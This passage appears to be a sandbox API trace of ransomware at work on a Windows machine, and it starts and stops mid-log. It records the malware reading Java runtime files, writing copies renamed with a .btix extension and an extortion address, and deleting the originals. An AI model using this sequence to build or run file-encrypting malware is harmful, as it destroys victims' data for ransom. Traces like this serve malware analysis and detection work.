[0131.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0131.528] lstrlenW (lpString=".dbf") returned 4 [0131.528] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0131.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0131.528] lstrlenW (lpString=".1cd") returned 4 [0131.528] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0131.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0131.528] lstrlenW (lpString=".jpg") returned 4 [0131.528] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0131.529] lstrcmpiW (lpString1=".ttf", lpString2=".btix") returned 1 [0131.529] lstrlenW (lpString="LucidaSansRegular.ttf") returned 21 [0131.529] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0131.529] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=698236) returned 1 [0131.529] CloseHandle (hObject=0x41c) returned 1 [0131.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 0x20 [0131.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.530] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0131.530] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.530] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.530] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0131.531] GetLastError () returned 0x0 [0131.531] ReadFile (in: hFile=0x41c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0xaa77c, lpOverlapped=0x0) returned 1 [0132.189] WriteFile (in: hFile=0x43c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xaa780, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xaa780, lpOverlapped=0x0) returned 1 [0132.198] ReadFile (in: hFile=0x41c, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.198] WriteFile (in: hFile=0x43c, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xfe, lpOverlapped=0x0) returned 1 [0132.199] SetEndOfFile (hFile=0x43c) returned 1 [0132.199] CloseHandle (hObject=0x43c) returned 1 [0132.199] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.199] SetEndOfFile (hFile=0x41c) returned 1 [0132.211] CloseHandle (hObject=0x41c) returned 1 [0132.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0132.270] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 1 [0132.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0132.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0132.271] lstrlenW (lpString=".doc") returned 4 [0132.271] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0132.271] lstrlenW (lpString=".docx") returned 5 [0132.271] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0132.271] lstrlenW (lpString=".pdf") returned 4 [0132.271] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0132.271] lstrlenW (lpString=".xls") returned 4 [0132.271] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0132.271] lstrlenW (lpString=".xlsx") returned 5 [0132.271] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0132.271] lstrlenW (lpString=".ppt") returned 4 [0132.271] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0132.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0132.271] lstrlenW (lpString=".zip") returned 4 [0132.271] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0132.271] lstrlenW (lpString=".rar") returned 4 [0132.271] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0132.271] lstrlenW (lpString=".bz2") returned 4 [0132.271] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0132.271] lstrlenW (lpString=".7z") returned 3 [0132.271] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0132.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0132.272] lstrlenW (lpString=".dbf") returned 4 [0132.272] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0132.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0132.272] lstrlenW (lpString=".1cd") returned 4 [0132.272] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0132.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0132.272] lstrlenW (lpString=".jpg") returned 4 [0132.272] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0132.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0132.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0132.272] lstrlenW (lpString=".doc") returned 4 [0132.272] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0132.272] lstrlenW (lpString=".docx") returned 5 [0132.272] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0132.272] lstrlenW (lpString=".pdf") returned 4 [0132.272] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0132.272] lstrlenW (lpString=".xls") returned 4 [0132.272] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0132.272] lstrlenW (lpString=".xlsx") returned 5 [0132.272] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0132.272] lstrlenW (lpString=".ppt") returned 4 [0132.272] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0132.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0132.272] lstrlenW (lpString=".zip") returned 4 [0132.272] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0132.272] lstrlenW (lpString=".rar") returned 4 [0132.272] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0132.272] lstrlenW (lpString=".bz2") returned 4 [0132.272] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0132.272] lstrlenW (lpString=".7z") returned 3 [0132.272] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0132.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0132.272] lstrlenW (lpString=".dbf") returned 4 [0132.272] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0132.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0132.273] lstrlenW (lpString=".1cd") returned 4 [0132.273] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0132.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0132.273] lstrlenW (lpString=".jpg") returned 4 [0132.273] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0132.524] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0132.524] lstrlenW (lpString="jce.jar") returned 7 [0132.524] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0132.525] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=116446) returned 1 [0132.525] CloseHandle (hObject=0x4c4) returned 1 [0132.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 0x20 [0132.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.525] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0132.525] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.525] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.525] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0132.650] GetLastError () returned 0x0 [0132.650] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x1c6de, lpOverlapped=0x0) returned 1 [0132.890] WriteFile (in: hFile=0x508, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x1c6e0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x1c6e0, lpOverlapped=0x0) returned 1 [0132.893] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0132.893] WriteFile (in: hFile=0x508, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xe2, lpOverlapped=0x0) returned 1 [0132.893] SetEndOfFile (hFile=0x508) returned 1 [0132.894] CloseHandle (hObject=0x508) returned 1 [0132.894] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.894] SetEndOfFile (hFile=0x4c4) returned 1 [0132.898] CloseHandle (hObject=0x4c4) returned 1 [0132.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0132.899] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jce.jar")) returned 1 [0132.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0132.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0132.899] lstrlenW (lpString=".doc") returned 4 [0132.899] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0132.899] lstrlenW (lpString=".docx") returned 5 [0132.899] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0132.899] lstrlenW (lpString=".pdf") returned 4 [0132.899] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0132.899] lstrlenW (lpString=".xls") returned 4 [0132.899] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0132.899] lstrlenW (lpString=".xlsx") returned 5 [0132.899] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0132.899] lstrlenW (lpString=".ppt") returned 4 [0132.899] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0132.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0132.899] lstrlenW (lpString=".zip") returned 4 [0132.899] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0132.899] lstrlenW (lpString=".rar") returned 4 [0132.899] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0132.900] lstrlenW (lpString=".bz2") returned 4 [0132.900] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0132.900] lstrlenW (lpString=".7z") returned 3 [0132.900] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0132.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0132.900] lstrlenW (lpString=".dbf") returned 4 [0132.900] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0132.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0132.900] lstrlenW (lpString=".1cd") returned 4 [0132.900] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0132.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0132.900] lstrlenW (lpString=".jpg") returned 4 [0132.900] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0132.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0132.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0132.900] lstrlenW (lpString=".doc") returned 4 [0132.900] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0132.900] lstrlenW (lpString=".docx") returned 5 [0132.900] lstrcmpiW (lpString1=".docx", lpString2="e.jar") returned -1 [0132.900] lstrlenW (lpString=".pdf") returned 4 [0132.900] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0132.900] lstrlenW (lpString=".xls") returned 4 [0132.900] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0132.900] lstrlenW (lpString=".xlsx") returned 5 [0132.900] lstrcmpiW (lpString1=".xlsx", lpString2="e.jar") returned -1 [0132.900] lstrlenW (lpString=".ppt") returned 4 [0132.900] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0132.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0132.900] lstrlenW (lpString=".zip") returned 4 [0132.900] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0132.900] lstrlenW (lpString=".rar") returned 4 [0132.900] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0132.900] lstrlenW (lpString=".bz2") returned 4 [0132.900] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0132.900] lstrlenW (lpString=".7z") returned 3 [0132.901] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0132.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0132.901] lstrlenW (lpString=".dbf") returned 4 [0132.901] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0132.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0132.901] lstrlenW (lpString=".1cd") returned 4 [0132.901] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0132.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jce.jar") returned 46 [0132.901] lstrlenW (lpString=".jpg") returned 4 [0132.901] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0132.901] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0132.901] lstrlenW (lpString="jfr.jar") returned 7 [0132.901] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0132.901] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=560581) returned 1 [0132.902] CloseHandle (hObject=0x4c4) returned 1 [0132.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 0x20 [0132.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0132.902] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0132.902] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.902] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0132.902] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508 [0132.903] GetLastError () returned 0x0 [0132.903] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x88dc5, lpOverlapped=0x0) returned 1 [0133.102] WriteFile (in: hFile=0x508, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0x88dd0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0x88dd0, lpOverlapped=0x0) returned 1 [0133.111] ReadFile (in: hFile=0x4c4, lpBuffer=0x409e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0133.111] WriteFile (in: hFile=0x508, lpBuffer=0x409e020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x409e020*, lpNumberOfBytesWritten=0x350fc94*=0xe2, lpOverlapped=0x0) returned 1 [0133.111] SetEndOfFile (hFile=0x508) returned 1 [0133.111] CloseHandle (hObject=0x508) returned 1 [0133.111] SetFilePointerEx (in: hFile=0x4c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0133.111] SetEndOfFile (hFile=0x4c4) returned 1 [0133.122] CloseHandle (hObject=0x4c4) returned 1 [0133.122] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0133.123] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr.jar")) returned 1 [0133.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0133.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0133.123] lstrlenW (lpString=".doc") returned 4 [0133.123] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0133.123] lstrlenW (lpString=".docx") returned 5 [0133.123] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0133.123] lstrlenW (lpString=".pdf") returned 4 [0133.123] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0133.123] lstrlenW (lpString=".xls") returned 4 [0133.123] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0133.123] lstrlenW (lpString=".xlsx") returned 5 [0133.123] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0133.123] lstrlenW (lpString=".ppt") returned 4 [0133.123] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0133.123] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0133.123] lstrlenW (lpString=".zip") returned 4 [0133.123] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0133.123] lstrlenW (lpString=".rar") returned 4 [0133.124] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0133.124] lstrlenW (lpString=".bz2") returned 4 [0133.124] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0133.124] lstrlenW (lpString=".7z") returned 3 [0133.124] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0133.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0133.124] lstrlenW (lpString=".dbf") returned 4 [0133.124] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0133.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0133.124] lstrlenW (lpString=".1cd") returned 4 [0133.124] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0133.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0133.124] lstrlenW (lpString=".jpg") returned 4 [0133.124] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0133.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0133.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0133.124] lstrlenW (lpString=".doc") returned 4 [0133.124] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0133.124] lstrlenW (lpString=".docx") returned 5 [0133.124] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1 [0133.124] lstrlenW (lpString=".pdf") returned 4 [0133.124] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0133.124] lstrlenW (lpString=".xls") returned 4 [0133.124] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0133.124] lstrlenW (lpString=".xlsx") returned 5 [0133.124] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1 [0133.124] lstrlenW (lpString=".ppt") returned 4 [0133.124] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0133.124] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0133.124] lstrlenW (lpString=".zip") returned 4 [0133.125] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0133.125] lstrlenW (lpString=".rar") returned 4 [0133.125] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0133.125] lstrlenW (lpString=".bz2") returned 4 [0133.125] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0133.125] lstrlenW (lpString=".7z") returned 3 [0133.125] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0133.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0133.125] lstrlenW (lpString=".dbf") returned 4 [0133.125] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0133.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0133.125] lstrlenW (lpString=".1cd") returned 4 [0133.125] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0133.125] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr.jar") returned 46 [0133.125] lstrlenW (lpString=".jpg") returned 4 [0133.125] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0133.125] lstrcmpiW (lpString1=".jar", lpString2=".btix") returned 1 [0133.125] lstrlenW (lpString="jsse.jar") returned 8 [0133.125] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jsse.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0133.126] GetFileSizeEx (in: hFile=0x4c4, lpFileSize=0x350ff14 | out: lpFileSize=0x350ff14*=584576) returned 1 [0133.126] CloseHandle (hObject=0x4c4) returned 1 [0133.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jsse.jar" (normalized: "c:\\program 